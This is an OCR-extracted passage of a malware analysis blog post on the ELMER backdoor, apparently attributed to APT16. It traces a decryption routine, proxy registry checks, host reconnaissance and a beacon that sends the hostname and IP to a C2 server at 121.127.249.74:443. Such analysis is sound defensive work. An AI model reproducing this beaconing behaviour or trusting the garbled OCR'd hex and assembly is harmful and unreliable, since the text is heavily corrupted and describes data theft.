drsapi.dll (Z) FThunk: 0000C224

B-e-a-g-a-a-a-a-u
R RS

Showe Invalid Show Suspect Clear

IAT Info Actions Dump

OEP | 671839194 | IAT Autosearch Autotrace Dump PE Rebuild

vA |6718C0C3 |
| - GetImports T

Size | 00000164

Log

IAT Search Adv: Found 69 (0x45) possible IAT entries, M
IAT Search Adv: Possible IAT first 6718C0CS last 6718C228 entry.

IAT Search Adv: TAT VA 6718C0CE RVA 0000C0CE Size 0x0164 (356)

TAT Search Mor: TAT VA 6718C0C4 RVA 0000COC4H Size Ox0163 (360)

IAT parsing finished, found &1 valid APIs, missed 0 APIs

DIRECT IMPORTS - Found 0 possible direct imports with 0 unigue APIs!

Imports: 81 # Invalid: 0 Imagebase: 67180000 apt.exe

We’ve successfully fixed the IAT in our dropped binary, and this operation is useful because it

Figure 20

reveals different API calls which have to be analyzed:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
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&

@ DA View-A =) Hex iew-1 @ Structures i) Enums
Address Ordinal Mame Library
g smacoce DeleteCriticalSection kernel32
ﬂ 6718C0CC LeaveCriticalSection kemnel32
8 6718c000 EnterCriticalSection kemel32
{5 6718C0D4 InitializeCriticalSection kernei32
_;:ﬂ &718C0D8 VirtualFree kernel32
ﬁ 6718C0DC VirtualAlloc kernel32
5] 6T18C0E0 Localfree kemel32
& 6718c0es LocalAlloc kemnel32
‘_‘Tﬂ 6718C0E8 GetTickCount kernedd2
5 smacoec QueryPerformanceCounter kemnel32
) emecoro GetVersion kernel32
i 6718C0F4 GetCurrentThreadld keernei32
ﬁ 6713C0F8 GetThreadLocale kerneld2
&5 smacorc GetStartuplnfol kemnel32
3 6718C100 Getlocaleinfol kemnel32
&3 s71ac1a GetLastError kernei32
ﬂ 6713C108 GetCommandLineA kerneld2
3 6718C10C Freelibrary kemel32
& smec1io EitProcess kemnel32
il 6718C114 WriteFile kernel32
ﬁ 6718C118 UnhandledExceptionFilter kemeld2
&5 6macnic SetFilePointer kemel32
@ sTac120 SetEndOfFile kernel32
R s71ec124 RtlUnwind kernel32
i smieczs ReadFile kemel32
&) 6MaC12¢ RaiseException kernel32
& 6mac130 GetStdHandle kemnel32
&g s718c134 GetFileSize kemel32
g smechis GetFileType kemel32
3 6m8c13C CreateFiled kernel32
R smacio CloseHandle kernei32
ﬁ 67180148 GetKeyboardType user32
&5 6718C14C MessageBoxA user3Z
] 6718C154 RegQueryValueExh advapi32
Figure 21

Now we will analyze the decrypted binary. It initiates the use of Winsock DLL by calling the
WSAStartup function:

- I [ e e el
L] 54 push esp ¥B7TSW_C1 O XB75W_
L] 68 02 02 00 00 push 202 KBTSW_SF 0O X87TSW_
Bg—> E8 AC CZ FF FF €d11 <apt.wSAStartup>
] 85 CO test eax,eax w [f— S——
Fa s e > | Default (stdcall)
— 1: [esp] 00000202

<apt.wSAStartup>

CODE:6718834F apt.exe: $834F #774F

2: [esp+4] 0019FD9
3: [esp+8] e&718C7C
4: [esp+C] 0000000
| —)

B Dump 1

24 pump 2

B Dump 3

¥4 pump 4

@4 Dump 5

&5 watch 1

[x=| Locals

7 stouct

P T U |
ooooozo2
0D019FDIE | DOLIFDSC §|"D nsqQu ery_&"

Figure 22

During the entire execution, the process decrypts relevant strings by using a custom algorithm that

can be described shortly: If m is the encrypted buffer and key is the decryption key, the result of
the algorithm is (m[i] AND 0xF) XOR (key[i] AND 0xF) + (m[i] AND 0xFO), as presented below:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
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1 £ - PP LWFTLYS W U TO L= LLLLT g L rLlll\.I'I (=] F\.I 23 1’_\.I.l|.! 'rJ
mﬂ—:—i—i- 8A 44 18 FF mov al,byte ptr ds:[eax+ebx-1]
il ®|| 67134B77 24 OF and al,F
L & 67184BE79 8B 55 F8 mov edx,dword ptr ss:[febp-8j
! i #| 67184B7C 8A 54 32 FF mov dl,bvite ptr ds:[edx+esi-1]
1 -3 0 o
! e 67184880 80 EZ OF and di,F
el ®|| G7184B83 3z C2 xor al,dl
1 T
l i ®| 57154B55 85 45 F3 mov byte ptr ss:|[Jebp-Df,al
Ly | c7154B88 8D 45 FC lea eax,dword ptr ss: [febp-4]
1 & 67184B88 ES8 14 EE FF FF EalT apt.671839A4
i ®( 67184B90 8B 55 FC mov edx,dword ptr ss:febp-4f
i & 67184B93 8A 54 1A FF mov dl,byte ptr ds:[edx+ebx-1]
b e 67184B97 80 E2 FOD and di1,Fo
il #( 57184B94 8A 4D F3 mov cl,byte ptr ss:[Bebp-DJ
i ! ®| G7184B39D 02 D1 add di,cl
L ®( c7184B9F 88 54 18 FF mov byte ptr ds:[eax+ebx-1],d1
iy ®| G7T1E4BAZ 46 inc esi
e #| 57134BA4 8B 45 F& mov eax,dword ptr ss:|[febp-3J
i e | 67184BAT E8 A0 EB FF FF E&Nl apt.6718374C
! ! & 67184BALC 3B FO cmp esi,eax
L, &7 1B4BAE ~ FE O& jle apt.&71B84BBS
13 i ®| G71E4BEBO BE 01 00 00 OO0 mov esi,l
i 1 L--2@| E7T1E4EES 43 inc ebx
gD e 67184BBE 4F dec edi
1ol & 67184BE7 ~ 75 BY jne apt.&7184B70
Lotosmn @ | B7TLE4BESD 8B 45 F4 mov eax,dword ptr ss:|[flebp-Cj
®( 67184BBC 8B 55 FC mov edx,dword ptr ss:[lebp-a]
®| 57184BBF ES8 58 EA FF FF E8l1 apt.&718361C
o | Ere i
<
al=38 's8"'
byte ptr [eax+ebx*1-1]=[03FE0038 962(257+%12:)70=274"]=39 '9"'
CODE: 67184B73 apt.exe: $4B73 #3F73
WWoump1  @Yoump2 @Woump3  @oumps  @oumps @ watch1  [x=llocals 4 Struct
Address | Hex ASCIT
O3FEOD38 139 36 32 28|32 35 3F 2A(31 32 3A 29|3F 30 3D 32(B62(257*12:)70=2
OZFECD48|37 34 00 OO(00 OO0 OO DO(DO OO OO0 DO|D0 OO0 OO0 OO| 74, tiveurannnnns
O03FEQOS8| 00 OO0 OO 00|00 OO0 OO OO(00 OO0 OO0 Q0|00 00 00 OO0 ... .eee e eeeanens
O03FEOQOGS| 00 OO OO OO|0O0 OO OO OO(00 OO0 OO0 QO0|00 00 OO0 OO0 (... cee e ennenn
Figure 23

After these operations are finished, the result represents the C2 server and the corresponding port

number:

Address

ASCTIT

OZFECQOSBE | 31
O3FEQCOSE | 34
O3FEQOOQAS | O3
O3FECOBS | 08
O3FECQOCS | OO0

Figure 24

34 2E 34(321.127.249.74>4

0ofF 08 04|43, .........
L s e 0 P e e e
34 03 06| .ccinnenneaa
O O M| .an e e

” . . . . ' .
The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry
key by calling the RegOpenKeyExA API:

. - " B P

Lo & 19 00 02 00 Busn 20015 ST e ol e

I . 33 5‘; cs ?:;heax dword ptr ss:[ebp-3s) Xx87TW_6 3 (Empty) x87TW_7 3 (EmpEy)

] B8 8C S5E 18 &7 pt.67185E8C

| : E8 EA EF FF FF w]ezstal.s71349;4 x875tatusword 0000

I . 8B 45 CB mov_eax,dword ptr ss:|[ebp-35]) XB7SW_B O xB8TSW_C3 O x87SW_C2 O

1 . ES8 DA EO FF FF call apt.sns;sac X87SW_C1 O xB87SW_CO O x87SW_ES O

1 L] 50 push esax XB7TSW_SF 0 XB7SW_P o J(B?S'n‘ u U

L] K 68 01 00 00 8O us 80000001 | -~ .. -~ .
i L) E8 C3 EB FF FF Igﬂl <apt. Regnpmxeyzw v
= e S , | Defaut (stocal) >[5 2] unod
" e o =l -1 [es 80000001
<apt.RegipenkeyExa> BT [es:ht] O3FEO6F0 "Software\‘\Micrasoft\),
3: [esp+8] 00000000
CODE: 67185948 apt.exe:$5945 #4048 SRR e O =
SDumpl | @YDump2  40ump3  B4Dump4  BDumps &8y Y 86060001 |
DD13IFEE4 | O3FE0GFD  “Software'\Mi cruwft\\mndc-s\\current\f&nml\\mtu—net Settings”

Address | Hex

DO.lSFEE8 00 00 QD D)lI}U 00 00 IJJlDU 00 00 \'_"Ql

‘AII!A'

DO:.*E“
ﬂﬂlWEm WFZU

Figure 25
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The “ProxyEnable” value is extracted using the RegQueryValueExA function, and it’s compared

with 1. This action has the purpose of verifying if the current machine is using a proxy for network

communications:
i 50 push eax T X87r7 0000000000000000000
! 8D 45 FO lea eax,dword ptr ss:[febp-10]
! 50 push eax e q x87Tagword FFFF
! 8D 45 F8 1eaheax,dwurd ptr ss:[ebp-si XBFTW_O 3 (Empty) XS7TTH
I ég - Sﬂih o x87TW_2 3 (Empty)  X87Th
|
f 8D 55 C4 lea edx,dword ptr ss:[febp-3C[ X87TW_4 3 (EmpLy) STl
: BB 0C 5F 18 67 mov eax,apt.&7185F0C X87TW_E 3 (Empty)  X87Tw
! E8 AD EF FF FF €a811 apt.67184924
i BB 45 C4 mov eax,dword ptr ss:[ebp-3c] x875tatusword 0000
i E8 CD DF FF FF €al1 apt.6718394C XBFSW_B 0O XB87SW_C3 0O
i s} push eax XB7SW_C1 0 x87SW.CO O
[ 1 BB 45 FC mov eax,dword ptr ss:[febp-4] XB7SW_SF 0 XB875W_P o
! 185983 50 push eax
B EZ 8F EE FF FF call <apt.RegQueryvalueExA> = =
I iy Efrs T Default (stdcall)
ke 1: [esp] 00000168
<apt.RegQueryvalueExA> 2: [esp+4] O3FEO7DC “Frox
3: [esp+3] 00000000
4: [esp+C] O019FF24
CODE: 67185984 apt.exe: $59584 #4D84 =5
3 00000168
4l Dump 1 Poump2 W Dump3 W Dump4 @Y Dump s & watch1  [x=l Locals 2 struct 03FE07DE | "ProxyEnable”
Address | Hex ASCII mooﬂlgm”gg
CGO19FEES| 00 00 00 00(00 OO0 00 00|RC_OF FE O3(FQ 06 FE 03]........U.p.03.p. DO19FFIC
O019FEFS8| 00 00 00 00|00 OO 00 00|00 00 OO0 00|00 00 00 00| ...veuennenenann
nnTaFrEnal e an o andon oo oo Aol oo o0 o el et N e nen OO013FE7O| OD13FF20

Figure 26

If “ProxyEnable” is equal to 1, the malware proceeds and extracts the value of “ProxyServer”

(hostnames/IPs of the proxy server on the network), as displayed in the next figure:

T . 50 push eax
. . 8D 45 F8 lea eax,dword ptr ss:[ebp-3]
i . 50 push eax
1 b L] 6A 0O push 0
i . 8D 55 BC lea edx,dword ptr ss:|[febp-44]
] . BB 2C 5F 18 &7 mov eax,apt.&7185F2C
| . E8 33 EF FF FF €all apt.67184924
i B . BB 45 BC mov_eax,dword ptr ss:[febp-44]
! [ L] E8 53 DF FF FF €all apt.&718394C
| g . 50 push eax
i . 8B 45 FC mov eax,dword ptr ss:|[febp-4]
0 . 50 push eax
E———s ES 15 EB FF FF €all <apt.RegQueryvalusExAs
b . 85 CO test eax,eax
el - o T— T e
L o)

1
1
' (2
| |
o oy

x87Tagword FFFF

XB7TW_0 2 (Empty) XB7TW
XBFTW_2 3 (Empty) XB7TW
XB7TW_4 3 (Empty) XBTTW
XB7TW_6 3 (Empty) XB7TW

¥875tatusword 0000
XBFSW_B 0O XB7SW_C3 0O
XB7SW_C1 0 xB7sW_CO O

XBFSW_SF 0 XB7SW_P o

S

Default (stdcall)

<apt.RegQueryvalusExA>

CODE:671859FE apt.exe: §59FE #4DFE

W4 Dump 1 YDump2 B Dump3 @4 Dump4 B Dump5 @ watch1  Iv=l Locals 3’ Struct

Address | Hex ASCII

DOL19FEEC | 28 08 FE 03 00 00 00 00|..p.U.p.B.p.....
DO19FEFC | DO 00 00 0O 0000 00,08 | -ieaisl il

Ansacens | An An An A AR AR AR AR

R 07 FE 02
00 00 00 00

AR AR AR AN

00 00 00 00

AR AR AR AN

Figure 27

1: [esp] 00000163

2: [esp+4] 03FED954 "Prox
3: [esp+3] 00000000

4: [esp+C] O0019FF24

00000168

03FED354 | "Proxyserver"”
00000000

0019FF24

67183951 | apt. 67183951

DO19FETDQ | 0O19FFZ0

The gethostname function is used to retrieve the host name for the local machine:

Figure 28

®| 57188CEE 50 push eax XE7SW_BE
#®| 67188C67 8B 45 FC mov eax,dword ptr ss:|[febp-4] HB7SW_C1
® [l 67138CEA E8 DD AC FF FF call apt.6718394C KB7SW_5F
®( 67188CGF 50 push eax
- ES8 EB B9 FF FF £al1 <apt.gethostname> v [
. 2 NS = Default (stdc
1: [es
<apt.gethostname> 2: esglq
3: [esp+s
4: [esp+C
CODE: 67188C70 apt.exe:$8C70 #8070 = =

3 03FEOLZ4 | "E4"
¢ Dump o Dump o Dump ¢ Dump  Dump = Wa x=| Locals & struct
Woumpi  @lpumpz  @Woump3  @oump4  @oumps & watchi  x=lLocal & =

OOL13FEFE | 000000

The function result from above is used as a parameter for the gethostbyname function, which can

be used to retrieve host information corresponding to the local machine, as shown in figure 29:
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—p——— . —————

5 - e 5ash r | e e PO

E8 93 B9 FF FF €all <apt.gethostbynames W l
S $ 0 T 7T > Default (stdcall)
1: [esp] O3FE0L74 "DES
<apt.gethostbyname> 2: [esp+4] OD19FF34
3: [esp+B] &7188D6C ap
4: [esp+C] O019FF2C
CODE: 67188CC0 apt.exe: $8CC0 #80C0
il P 4 Wl o~ Sl Gl o a il . - [ R (EEE T [ FEEE 03FE0Q174 | "DESKTOP-2C3IQHO™
Figure 29

The inet_ntoa function is utilized to convert the IP address of the host into an ASCII string
(dotted-decimal format):

FE 30 push dword ptr ds:[eax] &
EB 5B B9 FF FF call <apt.inet_ntoa> ¥
e T T Defaul
>
. 1z [
<apt.inet_ntoa- 2t [
3 [
4: [
CODE: 67188CD0 apt.exe: $8CD0O #30D0
[ A alllll e alllll e il o [P N PR i o [Fr s B i mﬁcﬂ
Figure 30

There is some sort of reverse operation done by the malware because it’s using the inet_addr
function to convert the string representation of the IP address into a proper address for the
IN_ADDR structure:

50
E8 27 B9 FF FF

push eax H

€all <apt.inet_addr> w

R s Default (stdcall)

= 1: [esp] 0O3FEO190 "19;
<apt.inet_addr> 2: [esp+4] ODLIFF34
3: [esp+8] 67188D6C aj
4: [esp+C] OO19FF2C

CODE: 67188CFC apt.exe: $8CFC #80FC

L [T S— [T N— Wl a

Wil Buaics oo 9. [IEEEEN 0SFE0150 | 192, 168, 164. 128"
Figure 31

The hostname and the IP address of the machine represented as a decimal number are combined
into a string that will be used in the upcoming network communications with the C2 server:

| address | Hex

ASCII
OZFFEQIDC |44 45 53 4Bi54 4F 50 20|32 ZF | DESKTOP- il
OFFEQL1EC |22 31 35 38|32 37 34 37|35 32| 2158274752 ,/21582
OFFEOQLIFC [3¥ 34 3¢ 353230 00 00|26 OO OO OO|02 00 OD OO F4F520. .&.......

Figure 32

The malicious process uses the same decryption algorithm described before in order to decrypt
important strings. The function is highlighted in the next picture:
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CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE

An example of how the algorithm performs is displayed below, where EAX represents the
encrypted string and the key is moved into the EDX register:

:B671852F9
1B671852FE
167185381
187185387
tB6718538C
187185312
t67185315
tB718531A
t6718531F
187185324
187185327
187185324
187185320
167185332
167185337
tB718533C
tB6718533F
187185344
187185347
187185340
167185351
187185354
187185359
:6718535C
167185361
167185366
tB67185366
:B6718536E
167185373
167185376
167185376
187185588
167185385
167185388
:6718538E
167185393
167185399
:6718539E
:B671853A1
167185340
:B671853AB
187185568
t671853683
167185368

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

call
push
push
push
push
lea
maw
Mo
call
push
push
lea
Mo
mow
call
push
push
lea
mow
call
push
push
lea
mow
mow
call
push
push
lea
mow
mow
call
push
push
push
push
push
lea
mow
mow
call
push
push
lea

sub_s71B4BFa
[ebpt+var_B8]

ds:dword_B718B684
offset str_ .Text
ds:dword 6718B683

ecx,

edwx, offset _str_ dhg.Text
eax, offset str_gp g .Text

[ebptvar _C]

sub_B7184BF@
[ebp+var_C]
[ebpt+var_4]

BCH,

edx, offset str_ dhg.Text
eax, offset str mfck_ wft OZPX.Text

[ebpt+var_18]

sub 67184BF@
[ebptvar_1@]

offset str 8.Text

edx,

eax, offset _str_u@ J.Text

[ebpt+var_14]

sub_B7154D28
[ebpt+var_14]

offset _str @.Text

eCX,

edx, offset str f dg.Text
eax, offset str Gmgbvz Kg crgia.Text

[ebptvar_18]

sub_67184BF@
[ebp+var_18]

offset _str 8. Text

BCH,

edx, offset _str T dg.Text
eax, offset _str Naws__ .Text

[ebp+var_1C]

sub_67184BF@
[ebp+var_1C]

ds:dword 6718B684
offset str_ .Text
ds:dword_G718B6BS
offset str__ @.Text

BCN,

edx, offset _str f dg.Text
eax, offset str V e ko ha_dgml.Text

[ebp+var_28]

sub_B7184BF@
[ebptvar_2@]

offset str 8. Text

edx.

[ebotvar 241

Figure 33
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~ Hide FPU

X87ro
X87r1
X87r2
X87r3
x87r4
X87rs
X87r6
X87r7

EAX 67185448 "IANN TP war "
EBX 00000001

ECX  DO19FF24

EDX 00000000

EBP  OO19FEES

ESP  D019FECO

ESI 00000001

EDI  DODOODOB

EIP  E7184C38 apt.67184C3B
EFLAGS oonuuzuz

ZF O PF O AF

OF 0 SF O DF o

CFO TFO IF1

LastError 00000000 (ERROR_SUCCESS)

LastStatus 00000000 (STATUS_SUCCESS)
G5 00ZB

ES 002B DS 002B
€5 0023 35 0028

x87Tagword FFFF

X87TW_0 3 (Empty) x87TW_l1 3 (Empty)
X87TW_2 3 (Empty) XB7TW_3 3 (Empty)
X87TW_4 3 (Empty) X87TW_5 3 (Empty)
X87TW_6 3 (Empty) X87TW_7 3 (Empty)

F5 0053

3FFCODOLEOAE3FBEBDDS
4002A000000000000000
3FFCDDOL1EOAESFBEBDDS
3FFF8000000000000000
3FFCDDOLEDAEZFBEBDDS
4002A000000000000000
3FFCDDOLEOAESFBEBDDS
3FFF8000000000000000

STO
ST1
sT2
5T3
ST4

Empty 0.215
Empty 10. 00|
Empty 0.215
EMpPTY 1.000]
Empty 0.215
EmpTty 10.00)
Empty 0.215
Empty 1.000]

ST6
sT7

x87S5tatusword 0120

XB87SW_B 0 xB7SW C3
X87SW_C1 0
X875W_SF O

0 x875W_C2 O
xB7TSW_CO 1 xB7SW_ES O
XB7SW_P 1 x87sw_U o

By placing a breakpoint after the operation is supposed t

successfully decrypted:

45

FE——o. 8B 45 F4
® | 67184Ca4 8B 55 FC
o| 67184cs7 ES 90 E9 FF FF
L ] T ===
<

. SE pop esi
. 58 pop ebx
. 8B ES mov esp,ebp
. 50 pop ebp
L] c3
- 8D 40 0O Tea eax,dword ptr ds:[e=ax]
. 55 push ebp
. 88 EC mov ebp,esp
. 83 €4 FO add esp,FFEFFFFO
. 53 push ebx
. 56 push esi
. 57 push edi
. 89 4D F4 mov dword ptr ss:§ebp-Cfj, ecx
. 89 55 F8 mov dword ptr s5s:Qebp-aj, edx
. 89 45 FC mov dword ptr ss:febp-4i, eax
. 8B 45 FC mov_eax,dword ptr ss:febp-4)
. EB 32 ED FF FF €all apt.6718393C
. 8B 45 FB mov_eax,dword ptr =s:febp-sf
. ES 24 ED FF FF €&l apt.6718393C
[ 33 Co Xor eax,eax
. 55 push ebp
. 68 AT 4C 18 &7 push apt.&7184CAT
. 64 FF 30 push dword ptr : [eax]
. 64 89 20 mov dword ptr :[eax],esp
. BE 01 00 00 0O mov esi,l
. 8B 45 FC mov_eax,dword ptr ss:febp-4F
. EB 1F EB FF FF E&11 apt.&718374C
. 8B FB mov edi,eax
. 85 FF test edi,edi
-8 v 7E 4E jle apt.&7184c81
. BE 01 00 00 00 mov ebx,1
L . 88 45 FC mov eax,dword ptr ss:[febp-4F
Eg— 8A 44 18 FF mav ahbyte ptr ds:[eax+ebx-1]
! . 24 OF and al,F
e 55 F8 |mov edx,dword ptr ss:[ebp 8]
| . 8A 54 32 FF mov dl,byte ptr ds:[edx+esi-1]
: . 80 E2 OF and dl,F
1 L] 32 C2 xor al,dl
! . 8B 45 F3 mov byte ptr ss:lfebp-0f,al
! . 8D 45 FC lea eax,dword ptr ss:febp-43
e EB 4C ED FF FF €a11 apt.671839A4
I . 8B 55 FC mov edx,dword ptr ss:febp-43
y . BA 54 1A FF mov dl byte ptr ds:[edx+ebx-1]
! L] 80 EZ2 FO and dl
| . BA 4D F3 mov cl e ptr ss:jfebp-0f
[ 02 D1 add di,c
i . 88 54 1B FF mov byte ptr ds:[eax+ebx-1],d]
i . 46 1nc esi
i . BB 45 F8 eax,dword ptr ss:[febp-z§
! . EB D8 EA FF FF m apt 6718374C
| b RIS
| edx=0
dword ptr [ebp-8]=[0019FEE0 &".dhg"]=67185438 ".dhg"

Figure 34

mov eax,dword ptr ss
mov edx,dword ptr
Eall apt.6718361C

:iehp—cg
s5: flebp-4

eax=4

CODE: 67184C81 apt.exe: $4C81 #4081

dword ptr [ebp-C]=[0013FEDC]=0019FF24

Figure 35

@8 Dumpl | @WYoumpz @ WYoump3 @ Dump4 @4 Dump S @ watch1  Ix=lLocals yid
Address | Hex ASCIT
O3FEDZ234 |47 45 54 20|68 74 74 70|3A 2F 2F 00|E4 BES 18 67| GET hEtp://.ou.g

o end, we can observe that the string was

After a few more operations are performed, we can distinguish other interesting strings, like the

User Agent that will be used in the communications with the Command and Control server:
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D3IFED234
O3FEO244
O3FEOQ254
O3FEO264
03FEQ27 4
03FEDQ284
03FED294
D3FED2A4
D3FEDZ2B4
D3FED2C4
D3IFEOQZ2D 4
D3IFEOQZ2E4
D3FEOQ2F 4
O3FEOQ304
O3FEO314
O3FEO324
03FEOQ334
03FEQ3 44 00 5C 57

Figure 36

The sample builds an HTML document that contains the infected hostname and the IP address
corresponding to the local machine. This form will be used in a POST request as we’ll see later on:

O3IFEQ4B4
O3IFED4CH
O3IFEQ4D 4
DO3IFED4E4
O3IFED4F 4
O3IFEDOSO4
O3IFEDS14
O3IFEOS 24
O3FEDS 34
O3IFEOS 44
Q3IFEDSS 4
DO3IFEDS 64
O3IFEDOST 4
O3FEDS 84

Figure 37

The socket function is used to create a socket, and the following parameters are passed to the
function call: 0x2 (AF_INET - IPv4 address family), 0x1 (SOCK_STREAM - provides
sequenced, reliable, two-way streams with an OOB data transmission mechanism) and O (the
protocol is not specified). The function call is shown below:

67 186BFE

wor ebx,ebx
push 0
push 1

LA L LD

CODE: 67186C06 apt.exe:$6C06 #6006

84 Dump 1 iﬁﬂmpZ iﬁﬂmpS iﬁﬂmpé iﬁﬂmpE & watch 1 [*=] Locals 3’ﬁm¢ Iiiiiiilllllll

Figure 38

The setsockopt API is used to set a socket option. The following parameters can be highlighted —
0xFFFF (SOL_SOCKET - socket layer), 0x8 (SO_KEEPALIVE - enable keep-alive packets for
a socket connection):
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i o| s67186c1D 6A 04 push 4 FE MBI
] #| 67186C1F 8D 45 F4 lea eax,dword ptr ss:[lebp-CJ}
! e 67186C22 50 push eax x87!
! ®| 67186C23 G6A 08 push 8 %871
i ®| 67186C25 68 FF FF 00 00 push FFFF x87!
i ®| 67186C2A 8B 06 mov eax,dword ptr ds:[esi] x87!
! @ 67186C2C 50 push eax sem=
[E 1P g ES 16 DA FF FF C€all <apt.setsockopt>
f il e e e O e AT BT
o <
<apt.setsockopt>
CODE: 67186020 apt.exe: $6C20 #602D
il o 1 iy iy iy iy e = -
ump $Ybump2 B Dump3 @YW Dump4  @WDump5 W Watch1l  [x=lLocals struct  [oni9FEFa
Agdress [riex ascrz o v o
O3FED384 [ 4F 45 54 2D|68 T4 74 ?D|3A 2F 2F 31|32 31 2E 31|GET http://121.1 OD13FFO0 | D0DODO04

Figure 39

The second setsockopt call has different parameters — OXFFFF (SOL_SOCKET - socket layer),
0x1006 (SO_RCVTIMEQ - receive timeout), 0x15f90 = 90000ms = 90s (optval parameter):

! | e7186C39 6A 04 push 4 C RS
i #®( 67186C3R 8D 45 FO Tea eax,dword ptr ss:|[febp-10J
| ®| 671B6C3E 50 push eax XBT:
| #® | 6718B6C3F &8 06 10 00 OO push 1006 XB7
{ & 671B6C44 &8 FF FF 00 0O push FFFF XB7i
! ®| 67186049 5B 06 mov eax,dword ptr ds:[esi] X87:
! ®| 67186C4B 50 push eax [
Eﬂ—!—)- E8 F7 D9 FF FF call <apt.setsockopt> v [/
M ey T T T ST TR TS e e o P SeRET | BTSSR
: 7 = Defau
— B i
<dapt.setsockopt> 2:
3:
4:
CODE: 67186C4C apt.exe: $6C4C #604C S
£ ooo00230
Boumpi  @lpump2  @Wpump3  @Woump4  @loumps & watth 1 [e=lLocals & Struct | [
Address | Hex ASCIT ‘%igiiiﬁ‘ D0197FIC
0ZIFEO334 F 45 54 20|68 74 74 70|3A 2F 2F 31|32 31 2E 31|@ET http://121.1
AICCNAIOA 37 37T C I TA 4G I FITITA IA TA A 23 C £33 TO TT O AG Edl:rll:-l?.frv mlgFFm qu

Figure 40

The third setsockopt call is different than the second one because it sets the send timeout to 90

seconds:
: ®| 67186C58 G6A D4 push 4 i
! ®| 67136C5A 8D 45 FO 1ea eax,dword ptr ss:[lebp-10§
! ®| 67136C5D 50 push eax
! #®|| 67186C5E &8 05 10 00 00 push 1005
1 #| 67186C63 63 FF FF 00 0O push FFFF
! @ 67186CES8 8B 06 mov eax,dword ptr ds:[esi]
l ®| 67136CE6A 50 push eax F
ETP o £ ES D8 D3 FF FF €all <apt.setsockopts> W
] M T by gy
\L €< >
<apt.setsockopt>
CODE: 67186068 apt.exe: $6C6E #606B O
i 00000230
uih Dump 1 LT Dump 2 LT Durnp 3 oy Durmnp 4 oy Durnp 5 @ Watch 1 [x=] Locals ‘j) Struct O019FEF4 | 00O00OFEEF
e e B e £E |$i§£§§3 0019FFC
O3FEO3384 8% 45 54 20(63 74 74 70(3A 2F 2F 31(32 31 2E 31|GET http://121.1
MAICCAZIOA > 7T C :r'.\l'_}d Ia 2Cc 7'.|'|74 A T4 > A 23 %C £ TO oT 4G Edll:l::dﬂ e mlsFFm mq'

Figure 41

The port number Ox1BB is converted from TCP/IP network byte order to host byte order (little-

endian on Intel processors) by using a ntohs function call:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/

o 5E push esi XB7:
o E8 DB E5 FF FF call <apt.ntohs> —
@ 67136045 66 89 45 EA mov word ptr ss:fflebp-16], ax ¥
ol —~z=---n e I o T G L e e e Defal
€< > 7
<apt.ntohs> 5.
e
4:
CODE: 67186040 apt.exe:$6040 #5440 S
il - 1 [ FT A [ F T il [ F T N [ R Fata - ul G DO0001EB
Figure 42
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The malware is using the inet_addr function to transform the C2 IP address into a proper address
for the IN_ADDR structure:

56 push esi NBTSW_SF O XB7SW_P
ES8 CF E5 FF FF call <apt.inet_addr> (]
83 F8 FF cmp eax,FFFFFFFF v |
Siass e 3 Default (stdcall)
= 1: [esp] O3FEOQOFS ™12
<apt.inet_addr> 2z: [esp+4] OOD19FEE4
2: [esp+8] 671860B7 a
4: [esp+C] O019FEDC
CODE: 67186054 apt.exe:$6054 #5454 r T
P e e = e e [ ¢ .. . [FEIFEY 03FE0OFS | "121.127.249.74"

Figure 43

There is a network connection established to the C2 server using the connect function. The
following elements can be highlighted in the sockaddr structure: 0x2 (AF_INET — IPv4 address
family), 0x1BB = 443 (port number), 0x797FF94A (the C2 server represented as a hex value). The
function call is represented in the next figure:

| L— e &7 64 10 push 10 g i X875
i [ 8D 45 EB lea eax,dword ptr ss:[febp-15] X875
: 67 50 push eax KBTS
; &7 57 push edi [
Bg— EB Bl E5 FF FF €a11 <apt.connect> W=
d A S > Default
ok 1: [e
<apt.connect> 2: [e
3: g
41 ]
CODE: 67186092 apt.exe:$6092 #5492 =
; 00000230
EWoump1  @pump2  @Woump3  @Woump4  @loumps @ watch1  [x=lLocals & Stuct | [
address |vex | ascxz 0019FEAC | 0019FEE4
O019FEC4 |02 00 O1 BB|79 7F F9 4A|E6 D6 C1 65 |A4 FE 19 00| ...=y.uJ=0AeHp. . | Taenn e
Figure 44

The sample performs a GET request to the C2 server with the user agent that was decrypted
earlier: “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)”. The data is
sent using the send function:

| Pt ADd I+ =
1! ® | &7 6A 00 push 0 el 1
o o &7 8B 45 FC mov eax,dword ptr ss:|[[ebp-4] KETTH_6E =
I8 ®| 67 ES8 BF CB FF FF E&811 apt.&718374C
b e| 67 50 push eax ®B75Tatus
! 1 & &7 8B 45 FC mov eax,dword ptr ss:|[febp-4] XETSW_E
o ®| 5718 ES8 B6 CD FF FF €d1T apt.&718394C XB7SW_C1
! ! @ 67186896 S0 push eax XBFSW_5F
i ! ®| 67186897 56 push esi LSS
Eg—— ES A3 DA FF FF call <apt.send- Wi
i El o i = Default (stdc:
A 5
1: [esp]
<apt.send> 2: [esp+d
3: [esp+8
4: [esp+C
CODE: 67186898 apt.exe: $6B98 #5F98

@ A=Y 00000230
4% Dump 1 Wypump?2 @ Dump3 By Dump4 B4 Dump 5 B8 watch 1 [x= Locals o Struct O2FED284 | "GET
Address | Hex ASCII 0Q019FEDC | 00000122

~

03FE0384 |47 45 54 20|68 74 74 70|3A 2F 2F 21(32 21 2E 31|GET http://121.1 gg}gi,fg? gggggggg e
03FE0394|32 37 2E 32|34 39 2E 37|34 3A 34 34(33 2F 63 78| 27.249.74:443,/CX [J[JJ.BFEES 67186BBE a;;t E
03FEO3A4 | 67 69 64 2F |44 45 53 4B|54 4F 50 2D |32 43 33 49| gid/DESKTOP-2C3I O0L13FEEC | DOL9FEFC g
03FEO3B4 |51 48 4F 2F|32 31 35 38|32 37 34 37(35 32 2F 32 |QHD/2158274752/2 Uf]lc‘FE;U 671BBGB0 | apt. €
